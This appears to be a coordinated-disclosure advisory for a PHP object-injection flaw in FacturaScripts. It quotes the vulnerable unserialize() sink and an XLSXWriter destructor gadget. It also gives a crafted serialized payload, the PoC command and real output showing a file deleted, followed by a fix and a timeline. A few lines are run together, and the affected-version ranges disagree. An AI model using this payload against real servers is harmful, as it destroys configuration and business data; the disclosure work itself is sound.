
PHP Object Injection -> Arbitrary File Deletion in FacturaScripts <= 2026.66 (CWE-502). PoC + advisory.
WidgetSelectAuthorized security research. PoC for defensive and educational use only.
An authenticated user who submits an edit form containing a multiple="true" select
field can pass an attacker-crafted serialized string that FacturaScripts feeds directly
to unserialize(). This yields PHP Object Injection and, via a bundled gadget
(XLSXWriter::__destruct), deletion of arbitrary files on the server.
| CVE | CVE-2026-104905 |
| Product | FacturaScripts (open-source ERP / billing) |
| Vendor | Carlos García Gómez / NeoRazorX |
| Affected | >= 2025.7, < 2026.7 (audited at commit 91f6512, 2026-09-22) |
| Fixed in | v2026.7 |
| Vulnerability | Deserialization of Untrusted Data (CWE-502) → Arbitrary File Deletion (CWE-73) |
| Privileges | Authenticated user with access to any EditController form |
| CVSS 3.1 | 8.1 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H |
| CVSS 4.0 | 6.1 MEDIUM — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N |
| Discovered by | Alisher Qarshibayev |
| Advisory | GHSA-p89j-gj6f-fh6g · coordinated by VulnCheck (CNA) |
Core/Lib/Widget/WidgetSelect.php, lines 137–147 (sink at L144):
public function processFormData(&$model, $request)
{
$value = $request->request->get($this->fieldname, '');
if ('' === $value) {
$model->{$this->fieldname} = null;
} elseif ($this->multiple && false === $this->readonly()) {
$model->{$this->fieldname} = implode(',', unserialize($value)); // L144: user-controlled -> unserialize()
} else {
$model->{$this->fieldname} = $value;
}
}
Gadget — bundled dependency mk-j/php_xlsxwriter 0.39 (registered in the composer classmap):
// vendor/mk-j/php_xlsxwriter/xlsxwriter.class.php
public function __destruct() {
if (!empty($this->temp_files)) {
foreach ($this->temp_files as $temp_file) { @unlink($temp_file); }
}
}
multiple="true" select widget.
Core/Internal/SubRequest::get() returns the raw request value with no sanitisation.EditView::processFormData() iterates each widget →
WidgetSelect::processFormData().unserialize($value) at WidgetSelect.php:144.For multiple-select fields a browser submits an array, which SubRequest::get() re-serialises;
the code calls unserialize() to reverse that. But get() returns any scalar string
verbatim, so an attacker submits the field as a single string containing a crafted serialized
object instead of an array. unserialize() instantiates it with no allowed_classes
restriction, triggering magic methods. The bundled XLSXWriter class is autoloadable and its
__destruct() @unlink()s every entry of its attacker-set protected $temp_files array →
arbitrary file deletion. The subsequent implode() TypeError is thrown after the object is
constructed, so the destructor still fires during stack unwinding.
poc_object_injection.php invokes the unmodified shipped processFormData() with an
attacker-controlled request against a local instance — equivalent to the authenticated HTTP
POST described above.
Preconditions: (1) a valid authenticated session that can reach any EditController form;
(2) that form contains a select widget declared multiple="true" (a documented, first-class
column attribute of the shipped WidgetSelect).
# From a vulnerable FacturaScripts checkout (< 2026.7) with the PoC placed alongside its src/:
# payload = O:10:"XLSXWriter":1:{s:13:"\0*\0temp_files";a:1:{i:0;s:LEN:"<abs path>";}}
php poc_object_injection.php "$PWD/evidence/CANARY_victim_config.txt"
Observed result (real output):
$ ls -l .../evidence/CANARY_victim_config.txt # BEFORE
-rw-r--r-- 1 hunter cito 24 ... CANARY_victim_config.txt
[*] payload = O:10:"XLSXWriter":1:{s:13:"\000*\000temp_files";a:1:{i:0;s:73:".../CANARY_victim_config.txt";}}
PHP Fatal error: Uncaught TypeError: implode(): Argument #2 ... XLSXWriter given in .../WidgetSelect.php:144
$ ls -l .../evidence/CANARY_victim_config.txt # AFTER
ls: cannot access '.../CANARY_victim_config.txt': No such file or directory
Control: submitting the field as a normal array ['a','b'] yields a,b and deletes
nothing — confirming only the scalar-string → object path is dangerous. Reproduced 2×,
deterministic. See evidence/poc_evidence.png and
evidence/poc_run.log.
An authenticated attacker deletes arbitrary files at any path writable by the web-server user.
Deleting config.php forces FacturaScripts back into its installer (denial of service /
potential re-install hijack); deleting invoice attachments, backups or other tenants'
MyFiles destroys business data. Object injection is also an integrity failure that could be
escalated if any additional POP gadget enables file write or code execution. Scored for the
confirmed file-deletion primitive only (C:N/I:H/A:H).
Upgrade to FacturaScripts v2026.7 or later. The equivalent code-level fix:
// Do not unserialize request data. For multiple selects, read the array directly:
} elseif ($this->multiple && false === $this->readonly()) {
$raw = $request->request->getArray($this->fieldname); // array, never unserialize()
$model->{$this->fieldname} = implode(',', array_map('strval', $raw));
}
If a serialized form must be retained for backward compatibility, restrict it with
unserialize($value, ['allowed_classes' => false]) so no objects can be instantiated.
| Date | Event |
|---|---|
| 2026-09-23 | Discovered (local source audit + dynamic PoC) |
| 2026-09-23 | Vendor notified / advisory prepared |
| 2026-10-02 | CVE-2026-104905 reserved by VulnCheck |
| 2026-10-05 | CVE record published |
| 2026-10-06 | PoC published |
| — | Fixed upstream in v2026.7 (GHSA-p89j-gj6f-fh6g) |
Responsibly disclosed to the vendor and coordinated through VulnCheck. Published for defensive and educational purposes only.